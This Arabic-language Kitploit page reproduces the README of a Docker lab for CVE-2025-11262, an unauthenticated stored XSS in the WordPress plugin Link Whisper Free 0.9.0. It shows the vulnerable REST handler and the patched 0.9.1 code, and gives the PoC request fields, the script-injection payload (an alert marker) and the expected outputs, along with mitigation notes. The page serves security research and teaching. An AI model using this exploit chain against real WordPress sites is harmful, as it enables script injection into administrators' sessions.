Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-11262-Lab | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-11262 - XSS مخزّن أعمى غير مُصادَق عليه في Link Whisper Free

الملخص التنفيذي

يحتوي هذا المستودع على مختبر Docker محلي لإعادة إنتاج CVE-2025-11262، وهي ثغرة XSS مخزّنة غير مصادَق عليها تؤثر على إضافة ووردبريس Link Whisper Free.

يقارن هذا المختبر بين نسختين من الإضافة:

الخدمةنسخة الإضافةالغرضالرابط
vuln0.9.0الهدف المتأثر بالثغرةhttp://127.0.0.1:8081
patched0.9.1هدف المقارنة المُصحَّحhttp://127.0.0.1:8082

سلسلة الثغرة الموضَّحة هي:

root@kitploit:~
طلب REST بدون مصادقة
→ يتم تخزين user_id الذي يتحكم فيه المهاجم بشكل دائم
→ يفتح مستخدم ووردبريس بصلاحيات مرتفعة صفحة اشتراك Link Whisper AI
→ تُعرض القيمة المخزنة في سياق JavaScript إداري
→ يتم تنفيذ alert("CVE-2025-11262-LAB") على النسخة المتأثرة

لا يحتاج المهاجم إلى تسجيل الدخول لزرع الحمولة المخزنة. إذ يتم تنفيذ JavaScript لاحقًا عندما يفتح مستخدم ووردبريس بصلاحيات مرتفعة الصفحة الإدارية المتأثرة.

صُمم هذا المختبر للبحث المحلي المُتحكَّم فيه، وفهم الكود المصدري، والعرض ضمن ملف الأعمال المهني فقط.

حقائق تم التحقق منها

هذا هو قسم Root Cause Summary الجاهز للاستبدال في README مباشرةً. وهو آمن للنشر العام، ولا يذكر الملفات الداخلية مثل vuln_detail.txt، ويستند إلى المختبر/المصدر الذي تستخدمه الآن.

ملخص السبب الجذري

تنتج CVE-2025-11262 عن سلسلة حقن JavaScript مخزّنة في Link Whisper Free 0.9.0.

المشكلة ليست مجرد استدعاء ترميز (escaping) ناقص واحد، بل سلسلة من عدة سلوكيات غير آمنة:

root@kitploit:~
نقطة نهاية REST بدون مصادقة
→ تحقق غير كافٍ من user_id
→ تخزين دائم في wpil_ai_access_user_id
→ عرض غير آمن في سياق JavaScript إداري
→ XSS مخزّن عند فتح مستخدم بصلاحيات مرتفعة لصفحة اشتراك AI

نقطة نهاية REST بدون مصادقة

تسجّل Link Whisper Free نقطة نهاية REST لمصادقة AI ضمن مساحة أسماء REST الخاصة بالإضافة:

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

تُسجَّل نقطة النهاية كمسار POST:

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

ولأن قيمة permission_callback هي __return_true، يمكن الوصول إلى نقطة النهاية دون مصادقة.

في هذا المختبر، نقطة النهاية الفعلية هي:

root@kitploit:~
/wp-json/link-whisper/ai-auth

هذا يعني أن المهاجم غير المصادَق يمكنه إرسال طلب إلى نقطة النهاية دون جلسة ووردبريس أو nonce أو حساب مدير.

معالجة الإدخال المعرّضة للثغرة في 0.9.0

في Link Whisper Free 0.9.0، يقرأ المعالج المعاملات التي يتحكم فيها المهاجم من طلب REST:

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

السلوك المُعرِّض للثغرة هو شرط التحقق الضعيف:

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

هذا يتحقق فقط مما إذا كان رمز الوصول المقدم يحتوي على السلسلة ai-.

لا يوجد تحقق صارم من user_id قبل تخزينه:

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

ونتيجة لذلك، يمكن تخزين JavaScript يتحكم فيها المهاجم بشكل دائم في جدول خيارات ووردبريس.

التخزين الدائم

تُخزَّن قيمة user_id التي يتحكم فيها المهاجم في خيار ووردبريس:

root@kitploit:~
wpil_ai_access_user_id

في هذا المختبر، يرسل الـ PoC الحمولة المحلية التالية فقط:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

في الخدمة المتأثرة، تُخزَّن الحمولة كقيمة لـ wpil_ai_access_user_id.

لا يحتاج المهاجم إلى تسجيل الدخول لزرع الحمولة، إذ تُزرع الحمولة عبر نقطة نهاية REST غير المصادَق عليها.

نقطة الالتقاط (sink) في JavaScript الإدارية

تُسترجَع القيمة المخزنة لاحقًا عبر منطق إعدادات الإضافة:

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

تُسنَد القيمة إلى $ai_id وتُعرض في صفحة اشتراك AI الإدارية.

في Link Whisper Free 0.9.0، تُدرَج القيمة مباشرة داخل سلسلة JavaScript:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

ولأن $ai_id لا يُرمَّز قبل إدراجه في سياق JavaScript، يمكن لحمولة مخزنة الخروج من السلسلة المقصودة وتنفيذ JavaScript عند فتح الصفحة الإدارية.

مع حمولة المختبر، يصبح الناتج المعروض في النسخة المتأثرة مكافئًا لما يلي:

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

في المتصفح، تُنهي وسمة الإغلاق </script> المحقونة كتلة البرنامج النصي الأصلية، ويتم تنفيذ كتلة <script> المحقونة.

شرط التنفيذ

تُزرع الحمولة بواسطة مهاجم غير مصادَق، لكن التنفيذ يتطلب أن يفتح مستخدم ووردبريس بصلاحيات مرتفعة الصفحة الإدارية المتأثرة:

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

في هذا المختبر، تُفتح الصفحة المتأثرة بصلاحيات مدير ووردبريس لإظهار نافذة التنبيه.

وهذا يجعل المشكلة XSS مخزّنة بدون مصادقة تستهدف مدراء ووردبريس المصادَق عليهم أو المستخدمين ذوي الصلاحيات المرتفعة الذين يمكنهم الوصول إلى صفحة اشتراك Link Whisper AI الإدارية.

سلوك الإصلاح في 0.9.1

يضيف إصدار Link Whisper Free 0.9.1 تحققًا أكثر صرامة قبل تخزين قيم مصادقة AI.

يتطلب المعالج المُصحَّح تطابق رمز الوصول ومعرّف المستخدم مع تنسيقات صارمة:

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

التحقق المهم المضاف لـ user_id هو:

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

يمنع هذا تخزين أي JavaScript عشوائية كمعرّف مستخدم AI.

كما يرمّز إصدار 0.9.1 القيمة قبل عرضها في سياق JavaScript:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

وبالتالي يخفف الإصلاح المشكلة عند نقطتين:

root@kitploit:~
التحقق من الإدخال قبل التخزين الدائم
ترميز المخرجات قبل العرض في JavaScript

السلوك المُثبَت بالمختبر

يؤكد المختبر الفرق بين 0.9.0 و0.9.1.

على إصدار Link Whisper Free 0.9.0:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ يُرجع "ok"
→ يخزّن الحمولة في wpil_ai_access_user_id
→ فتح صفحة اشتراك AI الإدارية يؤدي إلى تنفيذ alert("CVE-2025-11262-LAB")

على إصدار Link Whisper Free 0.9.1:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ قد يُرجع "ok" أيضًا
→ لا يخزّن الحمولة
→ فتح صفحة اشتراك AI الإدارية لا يؤدي إلى تنفيذ أي تنبيه

استجابة HTTP وحدها غير كافية لتحديد ما إذا كان الهدف متأثرًا بالثغرة، لأن كلا الإصدارين قد يُرجع "ok". الفرق السلوكي الجوهري هو ما إذا كانت الحمولة تُخزَّن ثم تُعرض لاحقًا في سياق JavaScript الإداري.

بنية المختبر

يشغّل المختبر مثيلين معزولين من ووردبريس وقاعدتي MySQL منفصلتين عبر Docker Compose.

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

تقوم نقطة الدخول في Docker تلقائيًا بما يلي:

  • انتظار ووردبريس وقاعدة البيانات،
  • تثبيت ووردبريس عند الحاجة،
  • تفعيل Link Whisper Free،
  • تجهيز الصفحة الإدارية اللازمة لإعادة الإنتاج،
  • طباعة تفاصيل تسجيل دخول المختبر.

بيانات اعتماد مدير ووردبريس الافتراضية لكلا الخدمتين:

root@kitploit:~
admin / AdminPassw0rd!

المتطلبات

  • Docker Desktop أو Docker Engine
  • Docker Compose v2
  • Python 3
  • اتصال بالإنترنت أثناء بناء الصور، لأن ملفات Dockerfile تنزّل حزم الإضافات من WordPress.org

البدء السريع

قم ببناء المختبر وتشغيله:

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

تحقق من الحاويات:

root@kitploit:~
docker compose ps

الخدمات المكشوفة المتوقعة:

root@kitploit:~
الهدف المتأثر:   http://127.0.0.1:8081
الهدف المُصحَّح: http://127.0.0.1:8082

يمكنك أيضًا مراقبة سجلات الإعداد:

root@kitploit:~
docker compose logs vuln patched

يجب أن يُظهر الإعداد الناجح تفعيل Link Whisper في كل مثيل ووردبريس.

استخدام الـ PoC

شغّل الـ PoC ضد الخدمة المتأثرة:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

يرسل الـ PoC هذه الحمولة المحلية فقط عبر نقطة نهاية REST غير المصادَق عليها:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

بعد تشغيل السكربت، افتح رابط الإدارة المطبوع في المتصفح وسجّل الدخول باستخدام:

root@kitploit:~
admin / AdminPassw0rd!

في الخدمة المتأثرة، يجب أن يعرض المتصفح تنبيهًا يحتوي على:

root@kitploit:~
CVE-2025-11262-LAB

للمقارنة، شغّل نفس الـ PoC ضد الخدمة المُصحَّحة:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

ثم افتح رابط الإدارة المطبوع للخدمة المُصحَّحة. يجب ألا يتم إطلاق أي تنبيه.

الناتج المتوقع

الهدف المتأثر:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

الهدف المُصحَّح:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

استجابة HTTP وحدها غير كافية لتحديد ما إذا كان الهدف متأثرًا بالثغرة. الفرق المهم هو سلوك المتصفح بعد أن يفتح المستخدم ذو الصلاحيات المرتفعة الصفحة الإدارية المتأثرة.

دليل لقطة الشاشة

لقطة شاشة تنبيه ثغرة CVE-2025-11262

الهدف المقترح للقطة الشاشة:

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

يجب أن تُظهر لقطة الشاشة تنبيه المتصفح الذي يحتوي على:

root@kitploit:~
CVE-2025-11262-LAB

كيف يعمل الـ PoC

الـ PoC صغير عن قصد ولا يتطلب سوى رابط الهدف:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

يرسل طلب POST إلى:

root@kitploit:~
/wp-json/link-whisper/ai-auth

مع حقول النموذج التالية:

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

في الخدمة المتأثرة، تُعرض القيمة المخزنة لاحقًا في صفحة اشتراك AI. وعندما يفتح المدير تلك الصفحة، يتم تنفيذ JavaScript.

في الخدمة المُصحَّحة، يجب ألا تؤدي الحمولة نفسها إلى أي تنبيه.

أوامر تحقق مفيدة

تحقق من إصدارات الإضافة:

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

تحقق مما إذا كانت الخدمة المتأثرة قد خزّنت الحمولة:

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

القيمة المتوقعة في النسخة المتأثرة:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

تحقق من الخدمة المُصحَّحة:

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

السلوك المتوقع في النسخة المُصحَّحة:

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

تحقق من سجلات الوصول إلى نقطة نهاية REST:

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

ملاحظات التخفيف والإصلاح

قم بترقية Link Whisper Free إلى 0.9.1 أو أحدث.

يمنع الإصلاح تخزين حمولة هذا المختبر وعرضها من خلال إضافة تحقق أكثر صرامة ومعالجة مخرجات أكثر أمانًا حول مسار مصادقة AI المتأثر.

بالنسبة لبيئات الإنتاج، يُنصح أيضًا بما يلي:

  • إبقاء إضافات ووردبريس محدّثة،
  • تقييد الوصول الإداري،
  • مراقبة الطلبات غير المتوقعة إلى نقاط نهاية REST الخاصة بالإضافات،
  • مراجعة القيم المشبوهة الشبيهة بالبرامج النصية في خيارات ووردبريس،
  • تطبيق تصفية قائمة على مبدأ الدفاع في العمق حيثما كان ذلك مناسبًا.

التنظيف

أوقف الحاويات والشبكات ووحدات التخزين وأزلها:

root@kitploit:~
docker compose down -v

أزل الصور المبنية محليًا إذا رغبت:

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

حدود الأمان

هذا المختبر مخصص للبحث الأمني المحلي والعرض المُتحكَّم فيه فقط.

لا تشغّل الـ PoC ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها.

لا تستخدم بيانات اعتماد حقيقية أو أسرار إنتاجية أو عمليات استدعاء خارجية في هذا المختبر.

يستخدم الـ PoC عن قصد علامة alert() مرئية كدليل للقطات الشاشة. ولا يتضمن حمولات لسرقة بيانات الاعتماد أو سرقة الجلسات أو استمرارية تتجاوز المختبر أو إجراءات إدارية آلية.

المراجع

  • قاعدة بيانات GitHub Advisory: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence: مدخل قاعدة بيانات ثغرات إضافة Link Whisper Free
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • دليل إضافات WordPress.org: Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • حزمة إضافة WordPress.org المستخدمة في المختبر المتأثر
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • حزمة إضافة WordPress.org المستخدمة في المختبر المُصحَّح
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

  • متصفح الكود المصدري لإضافات ووردبريس: Link Whisper 0.9.1 Settings.php

تنزيل الأداة
الادعاءالدليلطريقة التحقق في هذا المختبر
إضافة Link Whisper Free 0.9.0 متأثرة بالثغرة.تُصنّف النشرات الأمنية العامة إصدارات Link Whisper Free حتى 0.9.0 ضمن الإصدارات المتأثرة.شغّل الـ PoC ضد http://127.0.0.1:8081 وافتح رابط الإدارة المطبوع.
إصدار Link Whisper Free 0.9.1 يحتوي على الإصلاح.تُحدد النشرات الأمنية العامة وبيانات سجل التغييرات 0.9.1 كإصدار مُصحَّح.شغّل نفس الـ PoC ضد http://127.0.0.1:8082؛ يجب ألا يظهر أي تنبيه.
زرع الحمولة يتم بدون مصادقة.يرسل الـ PoC طلب POST بدون ملفات تعريف ارتباط ووردبريس أو تسجيل دخول أو nonce.افحص poc/poc.py؛ فهو لا يتطلب سوى --url.
يحدث التأثير المرئي في منطقة إدارة ووردبريس.تُعرض القيمة المخزنة عند فتح صفحة اشتراك Link Whisper AI بواسطة مستخدم بصلاحيات مرتفعة.بعد تشغيل الـ PoC، سجّل الدخول كمدير وافتح رابط الإدارة المطبوع.
قد يستمر الهدف المُصحَّح في إرجاع "ok" على مستوى HTTP.أظهرت الاختبارات المحلية أن كلا الهدفين قد يُرجع "ok"؛ الفرق الجوهري هو ما إذا كانت الحمولة تُخزَّن وتُنفَّذ.قارن سلوك المتصفح على 8081 و8082.

https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php